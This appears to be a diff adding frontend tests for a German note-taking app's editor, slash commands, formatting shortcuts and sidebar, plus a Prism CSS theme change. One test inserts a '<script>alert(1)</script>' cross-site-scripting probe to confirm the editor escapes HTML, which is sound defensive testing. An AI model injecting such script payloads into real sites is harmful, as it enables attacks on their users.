it('indents and outdents multiple selected lines on Tab and Shift+Tab', () => {
|
||||
const { container } = renderOutlinerCodeBlock(
|
||||
makeCodeBlock({ content: 'first: 1\nsecond: 2', lang: 'yaml' })
|
||||
);
|
||||
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
textarea.focus();
|
||||
textarea.setSelectionRange(0, textarea.value.length);
|
||||
|
||||
fireEvent.keyDown(textarea, { key: 'Tab' });
|
||||
expect(textarea.value).toBe(' first: 1\n second: 2');
|
||||
|
||||
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
|
||||
expect(textarea.value).toBe('first: 1\nsecond: 2');
|
||||
});
|
||||
|
||||
it('renders Prism .token spans for yaml and escapes HTML tags like <script>', async () => {
|
||||
const code = 'title: "<script>alert(1)</script>"\nenabled: true\ncount: 42';
|
||||
const block = makeCodeBlock({ content: code, lang: 'yaml' });
|
||||
const { container } = render(<CodeBlockEditor block={block} content={code} canEdit />);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(container.querySelectorAll('.token').length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
const pre = container.querySelector('pre') as HTMLPreElement;
|
||||
const codeEl = pre.querySelector('code') as HTMLElement;
|
||||
expect(pre.getAttribute('aria-hidden')).toBe('true');
|
||||
expect(codeEl.querySelectorAll('.token').length).toBeGreaterThan(0);
|
||||
|
||||
// Ensure no real <script> element was injected into the DOM and raw HTML is escaped
|
||||
expect(pre.querySelector('script')).toBeNull();
|
||||
expect(codeEl.innerHTML).toContain('<script>');
|
||||
expect(pre.textContent).toContain('<script>alert(1)</script>');
|
||||
});
|
||||
|
||||
it('loads dependent grammars in the right order (tsx, cpp, php, scala)', async () => {
|
||||
expect(await loadPrismLanguage('tsx')).toBe(true);
|
||||
expect(await loadPrismLanguage('cpp')).toBe(true);
|
||||
expect(await loadPrismLanguage('php')).toBe(true);
|
||||
expect(await loadPrismLanguage('scala')).toBe(true);
|
||||
});
|
||||
|
||||
it('sets lang directly when typing /code yaml or ```yaml in an empty bullet block', () => {
|
||||
const bulletBlock: DocumentBlock = {
|
||||
id: 'b-1',
|
||||
type: 'bullet',
|
||||
content: '',
|
||||
level: 0,
|
||||
position: 1000,
|
||||
};
|
||||
const { container, updates } = renderOutlinerCodeBlock(bulletBlock);
|
||||
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
|
||||
fireEvent.change(textarea, { target: { value: '/code yaml' } });
|
||||
expect(updates[updates.length - 1]?.type).toBe('code');
|
||||
expect(updates[updates.length - 1]?.lang).toBe('yaml');
|
||||
expect(updates[updates.length - 1]?.content).toBe('');
|
||||
|
||||
// Also test ```json shortcut
|
||||
const bulletBlock2: DocumentBlock = {
|
||||
id: 'b-2',
|
||||
type: 'bullet',
|
||||
content: '',
|
||||
level: 0,
|
||||
position: 2000,
|
||||
};
|
||||
const res2 = renderOutlinerCodeBlock(bulletBlock2);
|
||||
const ta2 = res2.container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
fireEvent.change(ta2, { target: { value: '```json' } });
|
||||
expect(res2.updates[res2.updates.length - 1]?.type).toBe('code');
|
||||
expect(res2.updates[res2.updates.length - 1]?.lang).toBe('json');
|
||||
});
|
||||
|
||||
it('renders line numbers column with aria-hidden, user-select: none, and correct line count including trailing empty lines and 100+ lines', () => {
|
||||
// 1. Single empty line
|
||||
const { container, rerender } = render(
|
||||
<CodeBlockEditor block={makeCodeBlock({ id: 'code-empty', content: '' })} content="" canEdit />
|
||||
);
|
||||
const getLineContainer = () => container.querySelector('[data-testid="code-line-numbers"]') as HTMLElement;
|
||||
expect(getLineContainer()).toBeTruthy();
|
||||
expect(getLineContainer().getAttribute('aria-hidden')).toBe('true');
|
||||
expect(getLineContainer().className).toContain('select-none');
|
||||
|
||||
let lineEls = container.querySelectorAll('[data-line-number]');
|
||||
expect(lineEls).toHaveLength(1);
|
||||
expect(lineEls[0].textContent?.trim()).toBe('1');
|
||||
|
||||
// 2. Trailing empty line gives an extra line number (e.g. line 1 + empty line 2)
|
||||
rerender(
|
||||
<CodeBlockEditor
|
||||
block={makeCodeBlock({ id: 'code-trailing', content: `first line
|
||||
` })}
|
||||
content={`first line
|
||||
`}
|
||||
canEdit
|
||||
/>
|
||||
);
|
||||
lineEls = container.querySelectorAll('[data-line-number]');
|
||||
expect(lineEls).toHaveLength(2);
|
||||
expect(lineEls[0].textContent?.trim()).toBe('1');
|
||||
expect(lineEls[1].textContent?.trim()).toBe('2');
|
||||
|
||||
// 3. 120 lines (100+ lines test)
|
||||
const longCode = Array.from({ length: 120 }, (_, i) => `const x_${i + 1} = ${i + 1};`).join('\n');
|
||||
rerender(
|
||||
<CodeBlockEditor
|
||||
block={makeCodeBlock({ id: 'code-long', content: longCode })}
|
||||
content={longCode}
|
||||
canEdit
|
||||
/>
|
||||
);
|
||||
lineEls = container.querySelectorAll('[data-line-number]');
|
||||
expect(lineEls).toHaveLength(120);
|
||||
expect(lineEls[0].textContent?.trim()).toBe('1');
|
||||
expect(lineEls[99].textContent?.trim()).toBe('100');
|
||||
expect(lineEls[119].textContent?.trim()).toBe('120');
|
||||
|
||||
// Textarea has whitespace-pre and overlay has whitespace-pre
|
||||
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
const pre = container.querySelector('pre') as HTMLPreElement;
|
||||
expect(textarea.className).toContain('whitespace-pre');
|
||||
expect(pre.className).toContain('whitespace-pre');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,163 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import { DocumentEditor } from '../DocumentEditor';
|
||||
import { api } from '../../../lib/api';
|
||||
import { Document } from '../../../lib/types';
|
||||
import { EngineState } from '../../../lib/docSync/engine';
|
||||
|
||||
let currentListener: ((state: EngineState) => void) | null = null;
|
||||
const mockUndo = vi.fn(() => ({ ok: true }));
|
||||
const mockRedo = vi.fn(() => ({ ok: true }));
|
||||
|
||||
const baseEngineState: EngineState = {
|
||||
ready: true,
|
||||
status: 'saved',
|
||||
role: 'owner',
|
||||
title: 'Test Notiz',
|
||||
blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
|
||||
pendingCount: 0,
|
||||
shared: true,
|
||||
sessions: 2,
|
||||
presence: [{ userId: 'u2', name: 'Bob' }],
|
||||
lockedByOthers: [],
|
||||
conflicts: [],
|
||||
canUndo: false,
|
||||
canRedo: false,
|
||||
channel: 'ws',
|
||||
};
|
||||
|
||||
vi.mock('../../../lib/docSync/engine', () => {
|
||||
return {
|
||||
DocSyncEngine: class {
|
||||
subscribe(fn: (state: EngineState) => void) {
|
||||
currentListener = fn;
|
||||
fn(baseEngineState);
|
||||
return () => {
|
||||
currentListener = null;
|
||||
};
|
||||
}
|
||||
start() {
|
||||
return Promise.resolve();
|
||||
}
|
||||
stop() {}
|
||||
getState() {
|
||||
return baseEngineState;
|
||||
}
|
||||
setTaskLinks() {}
|
||||
focusBlock() {}
|
||||
applyFlat() {}
|
||||
setTitle() {}
|
||||
undo() {
|
||||
return mockUndo();
|
||||
}
|
||||
redo() {
|
||||
return mockRedo();
|
||||
}
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('../../../lib/api', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../../../lib/api')>();
|
||||
return {
|
||||
...actual,
|
||||
api: {
|
||||
...actual.api,
|
||||
getDocument: vi.fn(),
|
||||
getUsersDirectory: vi.fn(() => Promise.resolve([])),
|
||||
getDocumentBacklinks: vi.fn(() => Promise.resolve({ backlinks: [] })),
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const makeDoc = (overrides: Partial<Document> = {}): Document => ({
|
||||
id: 'doc_1',
|
||||
userId: 'u1',
|
||||
title: 'Test Notiz',
|
||||
icon: '📝',
|
||||
folderPath: '',
|
||||
content: '',
|
||||
blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
|
||||
tags: [],
|
||||
isPinned: false,
|
||||
isArchived: false,
|
||||
isOwner: true,
|
||||
createdAt: '2026-10-30T08:00:00Z',
|
||||
updatedAt: '2026-10-30T08:00:00Z',
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe('DocumentEditor header actions & status callback (Teil D)', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
const doc = makeDoc();
|
||||
vi.mocked(api.getDocument).mockResolvedValue(doc);
|
||||
});
|
||||
|
||||
it('reports live/presence status upward via onHeaderStatusChange and renders Undo/Redo + Three-Dots menu', async () => {
|
||||
const doc = makeDoc({ isOwner: true });
|
||||
const onHeaderStatusChange = vi.fn();
|
||||
const onRequestMerge = vi.fn();
|
||||
const onDeleteDoc = vi.fn();
|
||||
const onOpenShareModal = vi.fn();
|
||||
|
||||
render(
|
||||
<DocumentEditor
|
||||
docId="doc_1"
|
||||
initialDoc={doc}
|
||||
availableFolders={[]}
|
||||
onDocMetadataChange={vi.fn()}
|
||||
onDeleteDoc={onDeleteDoc}
|
||||
onOpenShareModal={onOpenShareModal}
|
||||
onSelectTag={vi.fn()}
|
||||
onRequestMerge={onRequestMerge}
|
||||
onHeaderStatusChange={onHeaderStatusChange}
|
||||
/>
|
||||
);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(onHeaderStatusChange).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
showLive: true,
|
||||
channel: 'ws',
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
// Undo / Redo buttons disabled initially
|
||||
const undoBtn = screen.getByTitle('Rückgängig (Strg+Z)') as HTMLButtonElement;
|
||||
const redoBtn = screen.getByTitle('Wiederholen (Strg+Y)') as HTMLButtonElement;
|
||||
expect(undoBtn.disabled).toBe(true);
|
||||
expect(redoBtn.disabled).toBe(true);
|
||||
|
||||
// Enable Undo & Redo via engine state update
|
||||
currentListener?.({ ...baseEngineState, canUndo: true, canRedo: true });
|
||||
await waitFor(() => {
|
||||
expect(undoBtn.disabled).toBe(false);
|
||||
expect(redoBtn.disabled).toBe(false);
|
||||
});
|
||||
|
||||
fireEvent.click(undoBtn);
|
||||
expect(mockUndo).toHaveBeenCalledTimes(1);
|
||||
fireEvent.click(redoBtn);
|
||||
expect(mockRedo).toHaveBeenCalledTimes(1);
|
||||
|
||||
// Share button is directly visible
|
||||
const shareBtn = screen.getByTitle('Notiz teilen und Berechtigungen');
|
||||
fireEvent.click(shareBtn);
|
||||
expect(onOpenShareModal).toHaveBeenCalledWith(doc);
|
||||
|
||||
// Three-dots menu opens on click, shows secondary actions, and closes on Escape
|
||||
const moreBtn = screen.getByTitle('Weitere Aktionen');
|
||||
fireEvent.click(moreBtn);
|
||||
|
||||
expect(screen.getByText('Notiz anheften')).toBeTruthy();
|
||||
expect(screen.getByText('Mit anderer Notiz zusammenführen…')).toBeTruthy();
|
||||
expect(screen.getByText('Als Markdown (.md) exportieren')).toBeTruthy();
|
||||
expect(screen.getByText('Notiz löschen')).toBeTruthy();
|
||||
|
||||
fireEvent.keyDown(document, { key: 'Escape' });
|
||||
expect(screen.queryByText('Notiz anheften')).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -118,3 +118,260 @@ describe('conflict copies', () => {
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('slash command menu and outliner fixes', () => {
|
||||
it('does not open the slash menu for URLs like https://a.de/b/ but opens for Text /co and closes on Escape or Backspace', () => {
|
||||
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
|
||||
const { container, queryByText } = renderBlock(block);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
fireEvent.change(ta, { target: { value: 'https://a.de/b/' } });
|
||||
expect(queryByText('Befehl auswählen')).toBeNull();
|
||||
|
||||
fireEvent.change(ta, { target: { value: 'Text /co' } });
|
||||
expect(queryByText('Befehl auswählen')).toBeTruthy();
|
||||
expect(queryByText('/code')).toBeTruthy();
|
||||
|
||||
// Removing the slash closes the menu
|
||||
fireEvent.change(ta, { target: { value: 'Text ' } });
|
||||
expect(queryByText('Befehl auswählen')).toBeNull();
|
||||
|
||||
// Even when no command matches, Escape closes the menu
|
||||
fireEvent.change(ta, { target: { value: '/zzzznotfound' } });
|
||||
expect(queryByText('Kein Befehl gefunden')).toBeTruthy();
|
||||
fireEvent.keyDown(ta, { key: 'Escape' });
|
||||
expect(queryByText('Befehl auswählen')).toBeNull();
|
||||
});
|
||||
|
||||
it('scrolls the active slash command button into view on ArrowDown', () => {
|
||||
const scrollSpy = vi.fn();
|
||||
HTMLElement.prototype.scrollIntoView = scrollSpy;
|
||||
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
|
||||
const { container } = renderBlock(block);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
fireEvent.change(ta, { target: { value: '/' } });
|
||||
scrollSpy.mockClear();
|
||||
fireEvent.keyDown(ta, { key: 'ArrowDown' });
|
||||
expect(scrollSpy).toHaveBeenCalledWith({ block: 'nearest', inline: 'nearest' });
|
||||
});
|
||||
|
||||
it('creates a new block on Enter at the last empty top-level bullet, after outdenting if indented', () => {
|
||||
const onIndent = vi.fn();
|
||||
const onCreateBelow = vi.fn();
|
||||
const indented = { id: 'b1', type: 'bullet', content: '', level: 1 } as DocumentBlock;
|
||||
const { container, rerender } = render(
|
||||
<OutlinerBlock
|
||||
docId="d"
|
||||
block={indented}
|
||||
index={0}
|
||||
isLast
|
||||
maxAllowedLevel={2}
|
||||
hasChildren={false}
|
||||
isFocused
|
||||
canEdit
|
||||
onUpdateBlock={() => {}}
|
||||
onCreateBlockBelow={onCreateBelow}
|
||||
onDeleteBlock={() => {}}
|
||||
onIndentBlock={onIndent}
|
||||
onNavigateFocus={() => {}}
|
||||
registerTextareaRef={() => {}}
|
||||
/>
|
||||
);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
fireEvent.keyDown(ta, { key: 'Enter' });
|
||||
expect(onIndent).toHaveBeenCalledWith('b1', -1);
|
||||
expect(onCreateBelow).not.toHaveBeenCalled();
|
||||
|
||||
rerender(
|
||||
<OutlinerBlock
|
||||
docId="d"
|
||||
block={{ ...indented, level: 0 }}
|
||||
index={0}
|
||||
isLast
|
||||
maxAllowedLevel={1}
|
||||
hasChildren={false}
|
||||
isFocused
|
||||
canEdit
|
||||
onUpdateBlock={() => {}}
|
||||
onCreateBlockBelow={onCreateBelow}
|
||||
onDeleteBlock={() => {}}
|
||||
onIndentBlock={onIndent}
|
||||
onNavigateFocus={() => {}}
|
||||
registerTextareaRef={() => {}}
|
||||
/>
|
||||
);
|
||||
fireEvent.keyDown(ta, { key: 'Enter' });
|
||||
expect(onCreateBelow).toHaveBeenCalledWith('b1', '');
|
||||
});
|
||||
|
||||
it('inserts a bare URL for /link with a web address in an empty bullet, and [Text](url) otherwise', () => {
|
||||
const updates: DocumentBlock[] = [];
|
||||
const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
|
||||
const { container, getByText, getByRole, getByPlaceholderText, rerender } = renderBlock(block, {
|
||||
onUpdateBlock: (u: DocumentBlock) => updates.push(u),
|
||||
});
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
fireEvent.change(ta, { target: { value: '/link' } });
|
||||
fireEvent.keyDown(ta, { key: 'Enter' });
|
||||
|
||||
fireEvent.click(getByText('Web-Link'));
|
||||
fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/test' } });
|
||||
fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
|
||||
|
||||
expect(updates[updates.length - 1]?.content).toBe('https://example.com/test');
|
||||
|
||||
// Non-empty bullet keeps [Text](url)
|
||||
rerender(
|
||||
<OutlinerBlock
|
||||
docId="d"
|
||||
block={{ ...block, content: 'Siehe' }}
|
||||
index={0}
|
||||
isLast
|
||||
maxAllowedLevel={1}
|
||||
hasChildren={false}
|
||||
isFocused={false}
|
||||
canEdit
|
||||
onUpdateBlock={(u: DocumentBlock) => updates.push(u)}
|
||||
onCreateBlockBelow={() => {}}
|
||||
onDeleteBlock={() => {}}
|
||||
onIndentBlock={() => {}}
|
||||
onNavigateFocus={() => {}}
|
||||
registerTextareaRef={() => {}}
|
||||
/>
|
||||
);
|
||||
ta.focus();
|
||||
fireEvent.change(ta, { target: { value: 'Siehe /link' } });
|
||||
fireEvent.keyDown(ta, { key: 'Enter' });
|
||||
fireEvent.click(getByText('Web-Link'));
|
||||
fireEvent.change(getByPlaceholderText('z. B. MindSift Dokumentation'), { target: { value: 'Doku' } });
|
||||
fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/doku' } });
|
||||
fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
|
||||
|
||||
expect(updates[updates.length - 1]?.content).toBe('Siehe [Doku](https://example.com/doku)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('formatting shortcuts (Teil C)', () => {
|
||||
it('toggles bold with and without selection (Ctrl+B and Cmd+B)', () => {
|
||||
const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
|
||||
const { container } = renderBlock(block);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
// 1. With selection: wraps in **
|
||||
ta.setSelectionRange(6, 10); // "welt"
|
||||
const event1 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
ta.dispatchEvent(event1);
|
||||
expect(event1.defaultPrevented).toBe(true);
|
||||
expect(ta.value).toBe('hallo **welt**');
|
||||
expect(ta.selectionStart).toBe(8);
|
||||
expect(ta.selectionEnd).toBe(12);
|
||||
|
||||
// 2. With selection where delimiters are directly outside: unwraps **
|
||||
const event2 = new KeyboardEvent('keydown', { key: 'b', metaKey: true, bubbles: true, cancelable: true });
|
||||
ta.dispatchEvent(event2);
|
||||
expect(event2.defaultPrevented).toBe(true);
|
||||
expect(ta.value).toBe('hallo welt');
|
||||
expect(ta.selectionStart).toBe(6);
|
||||
expect(ta.selectionEnd).toBe(10);
|
||||
|
||||
// 3. With selection including delimiters: unwraps **
|
||||
ta.value = 'hallo **welt**';
|
||||
ta.setSelectionRange(6, 14); // "**welt**"
|
||||
const event3 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
ta.dispatchEvent(event3);
|
||||
expect(ta.value).toBe('hallo welt');
|
||||
expect(ta.selectionStart).toBe(6);
|
||||
expect(ta.selectionEnd).toBe(10);
|
||||
|
||||
// 4. Without selection: inserts **** and places cursor between
|
||||
ta.value = 'start';
|
||||
ta.setSelectionRange(5, 5);
|
||||
const event4 = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
ta.dispatchEvent(event4);
|
||||
expect(ta.value).toBe('start****');
|
||||
expect(ta.selectionStart).toBe(7);
|
||||
expect(ta.selectionEnd).toBe(7);
|
||||
});
|
||||
|
||||
it('toggles italic with and without selection (Ctrl+I)', () => {
|
||||
const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
|
||||
const { container } = renderBlock(block);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
// 1. With selection: wraps in *
|
||||
ta.setSelectionRange(6, 10); // "welt"
|
||||
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
|
||||
expect(ta.value).toBe('hallo *welt*');
|
||||
expect(ta.selectionStart).toBe(7);
|
||||
expect(ta.selectionEnd).toBe(11);
|
||||
|
||||
// 2. Toggles off when already italic
|
||||
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
|
||||
expect(ta.value).toBe('hallo welt');
|
||||
expect(ta.selectionStart).toBe(6);
|
||||
expect(ta.selectionEnd).toBe(10);
|
||||
|
||||
// 3. Without selection: inserts ** and places cursor between
|
||||
fireEvent.change(ta, { target: { value: 'a' } });
|
||||
ta.setSelectionRange(1, 1);
|
||||
fireEvent.keyDown(ta, { key: 'i', ctrlKey: true });
|
||||
expect(ta.value).toBe('a**');
|
||||
expect(ta.selectionStart).toBe(2);
|
||||
expect(ta.selectionEnd).toBe(2);
|
||||
});
|
||||
|
||||
it('handles Ctrl+K: with selection wraps in [Text](…) and selects placeholder, without selection opens modal', () => {
|
||||
const block = { id: 'b1', type: 'bullet', content: 'besuche mindsift heute', level: 0 } as DocumentBlock;
|
||||
const { container, queryByText } = renderBlock(block);
|
||||
const ta = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
ta.focus();
|
||||
|
||||
// 1. With selection
|
||||
ta.setSelectionRange(8, 16); // "mindsift"
|
||||
const eventWithSel = new KeyboardEvent('keydown', { key: 'k', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
ta.dispatchEvent(eventWithSel);
|
||||
expect(eventWithSel.defaultPrevented).toBe(true);
|
||||
expect(ta.value).toBe('besuche [mindsift](…) heute');
|
||||
// Placeholder "…" is selected
|
||||
expect(ta.selectionStart).toBe(19);
|
||||
expect(ta.selectionEnd).toBe(20);
|
||||
expect(ta.value.slice(ta.selectionStart, ta.selectionEnd)).toBe('…');
|
||||
|
||||
// 2. Without selection: opens LinkModal
|
||||
ta.setSelectionRange(0, 0);
|
||||
expect(queryByText('Link einfügen')).toBeNull();
|
||||
fireEvent.keyDown(ta, { key: 'k', ctrlKey: true });
|
||||
expect(queryByText('Link einfügen')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('does nothing in code blocks or for read-only readers', () => {
|
||||
// In code block
|
||||
const codeBlock = { id: 'c1', type: 'code', content: 'const x = 1;', level: 0 } as DocumentBlock;
|
||||
const codeView = renderBlock(codeBlock);
|
||||
const codeTa = codeView.container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
codeTa.focus();
|
||||
codeTa.setSelectionRange(6, 7); // "x"
|
||||
const codeEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
codeTa.dispatchEvent(codeEvent);
|
||||
expect(codeEvent.defaultPrevented).toBe(false);
|
||||
expect(codeTa.value).toBe('const x = 1;');
|
||||
|
||||
// For readers (!canEdit)
|
||||
const bulletBlock = { id: 'b1', type: 'bullet', content: 'text', level: 0 } as DocumentBlock;
|
||||
const readerView = renderBlock(bulletBlock, { canEdit: false });
|
||||
const readerTa = readerView.container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
readerTa.focus();
|
||||
readerTa.setSelectionRange(0, 4);
|
||||
const readerEvent = new KeyboardEvent('keydown', { key: 'b', ctrlKey: true, bubbles: true, cancelable: true });
|
||||
readerTa.dispatchEvent(readerEvent);
|
||||
expect(readerEvent.defaultPrevented).toBe(false);
|
||||
expect(readerTa.value).toBe('text');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,165 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, waitFor } from '@testing-library/react';
|
||||
import { WorkspaceView } from '../WorkspaceView';
|
||||
import { api } from '../../../lib/api';
|
||||
import { Document } from '../../../lib/types';
|
||||
|
||||
vi.mock('../DocumentEditor', () => ({
|
||||
DocumentEditor: () => <div data-testid="document-editor">DocumentEditor</div>,
|
||||
}));
|
||||
|
||||
vi.mock('../../../lib/api', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../../../lib/api')>();
|
||||
return {
|
||||
...actual,
|
||||
api: {
|
||||
...actual.api,
|
||||
getDocuments: vi.fn(),
|
||||
getFolders: vi.fn(),
|
||||
getSharedFolders: vi.fn(),
|
||||
getWorkspaceTags: vi.fn(),
|
||||
getTrash: vi.fn(),
|
||||
},
|
||||
onWebSocketMessage: vi.fn(() => () => {}),
|
||||
triggerHaptic: vi.fn(),
|
||||
};
|
||||
});
|
||||
|
||||
const makeDoc = (overrides: Partial<Document> & { id: string; title: string }): Document => ({
|
||||
id: overrides.id,
|
||||
userId: 'u1',
|
||||
title: overrides.title,
|
||||
icon: '📝',
|
||||
folderPath: '',
|
||||
content: '',
|
||||
blocks: [],
|
||||
tags: [],
|
||||
isPinned: false,
|
||||
isArchived: false,
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe('WorkspaceView sidebar explorer', () => {
|
||||
beforeEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.mocked(api.getFolders).mockResolvedValue([]);
|
||||
vi.mocked(api.getSharedFolders).mockResolvedValue([]);
|
||||
vi.mocked(api.getWorkspaceTags).mockResolvedValue([]);
|
||||
vi.mocked(api.getTrash).mockResolvedValue([]);
|
||||
});
|
||||
|
||||
it('renders empty state "Noch keine Notizen" when there are no notes and no folders', async () => {
|
||||
vi.mocked(api.getDocuments).mockResolvedValue([]);
|
||||
vi.mocked(api.getFolders).mockResolvedValue([]);
|
||||
|
||||
render(<WorkspaceView onStatsChange={vi.fn()} />);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Noch keine Notizen')).toBeTruthy();
|
||||
});
|
||||
|
||||
expect(screen.queryByText('Angeheftet')).toBeNull();
|
||||
expect(screen.queryByText('Ordner')).toBeNull();
|
||||
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
|
||||
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
|
||||
});
|
||||
|
||||
it('renders pinned docs, folders, and root docs without headings', async () => {
|
||||
const docs: Document[] = [
|
||||
makeDoc({
|
||||
id: 'doc_pin_root',
|
||||
title: 'Wichtige Pinned Notiz',
|
||||
icon: '⭐',
|
||||
isPinned: true,
|
||||
}),
|
||||
makeDoc({
|
||||
id: 'doc_root',
|
||||
title: 'Normale Root Notiz',
|
||||
icon: '📝',
|
||||
}),
|
||||
makeDoc({
|
||||
id: 'doc_in_folder',
|
||||
title: 'Projekt Plan',
|
||||
icon: '📄',
|
||||
folderPath: 'Projekte',
|
||||
}),
|
||||
];
|
||||
|
||||
vi.mocked(api.getDocuments).mockResolvedValue(docs);
|
||||
vi.mocked(api.getFolders).mockResolvedValue(['Projekte']);
|
||||
|
||||
render(<WorkspaceView onStatsChange={vi.fn()} />);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Wichtige Pinned Notiz')).toBeTruthy();
|
||||
expect(screen.getByText('Normale Root Notiz')).toBeTruthy();
|
||||
expect(screen.getByText('Projekte')).toBeTruthy();
|
||||
});
|
||||
|
||||
// Ensure no old headings are rendered
|
||||
expect(screen.queryByText('Angeheftet')).toBeNull();
|
||||
expect(screen.queryByText('Ordner')).toBeNull();
|
||||
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
|
||||
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
|
||||
|
||||
// The pinned root doc appears only once
|
||||
const pinnedMatches = screen.getAllByText('Wichtige Pinned Notiz');
|
||||
expect(pinnedMatches.length).toBe(1);
|
||||
|
||||
// Pinned container has separator when items follow
|
||||
const pinnedItem = screen.getByText('Wichtige Pinned Notiz').closest('div[draggable="true"]');
|
||||
const pinnedContainer = pinnedItem?.parentElement;
|
||||
expect(pinnedContainer?.className).toContain('border-b border-border pb-1.5 mb-1.5');
|
||||
});
|
||||
|
||||
it('does not render separator under pinned notes when nothing follows', async () => {
|
||||
const docs: Document[] = [
|
||||
makeDoc({
|
||||
id: 'doc_pin_only',
|
||||
title: 'Einzige Notiz Pinned',
|
||||
icon: '⭐',
|
||||
isPinned: true,
|
||||
}),
|
||||
];
|
||||
|
||||
vi.mocked(api.getDocuments).mockResolvedValue(docs);
|
||||
vi.mocked(api.getFolders).mockResolvedValue([]);
|
||||
|
||||
render(<WorkspaceView onStatsChange={vi.fn()} />);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Einzige Notiz Pinned')).toBeTruthy();
|
||||
});
|
||||
|
||||
const pinnedItem = screen.getByText('Einzige Notiz Pinned').closest('div[draggable="true"]');
|
||||
const pinnedContainer = pinnedItem?.parentElement;
|
||||
expect(pinnedContainer?.className).not.toContain('border-b');
|
||||
});
|
||||
|
||||
it('keeps pinned note in folder visible in its folder', async () => {
|
||||
const docs: Document[] = [
|
||||
makeDoc({
|
||||
id: 'doc_pin_in_folder',
|
||||
title: 'Pinned im Ordner',
|
||||
icon: '📌',
|
||||
folderPath: 'Team',
|
||||
isPinned: true,
|
||||
}),
|
||||
];
|
||||
|
||||
vi.mocked(api.getDocuments).mockResolvedValue(docs);
|
||||
vi.mocked(api.getFolders).mockResolvedValue(['Team']);
|
||||
|
||||
render(<WorkspaceView onStatsChange={vi.fn()} />);
|
||||
|
||||
await waitFor(() => {
|
||||
// In pinned list
|
||||
expect(screen.getByText('Pinned im Ordner')).toBeTruthy();
|
||||
// Folder exists
|
||||
expect(screen.getByText('Team')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
});
|
||||
+96
-33
@@ -411,62 +411,106 @@ body {
|
||||
color: var(--text-main);
|
||||
}
|
||||
|
||||
/* Prism Syntax Highlighting Tokens */
|
||||
/* Prism Syntax Highlighting Tokens (VS Code Dark+ / Light+ via Theme Variables) */
|
||||
:root {
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
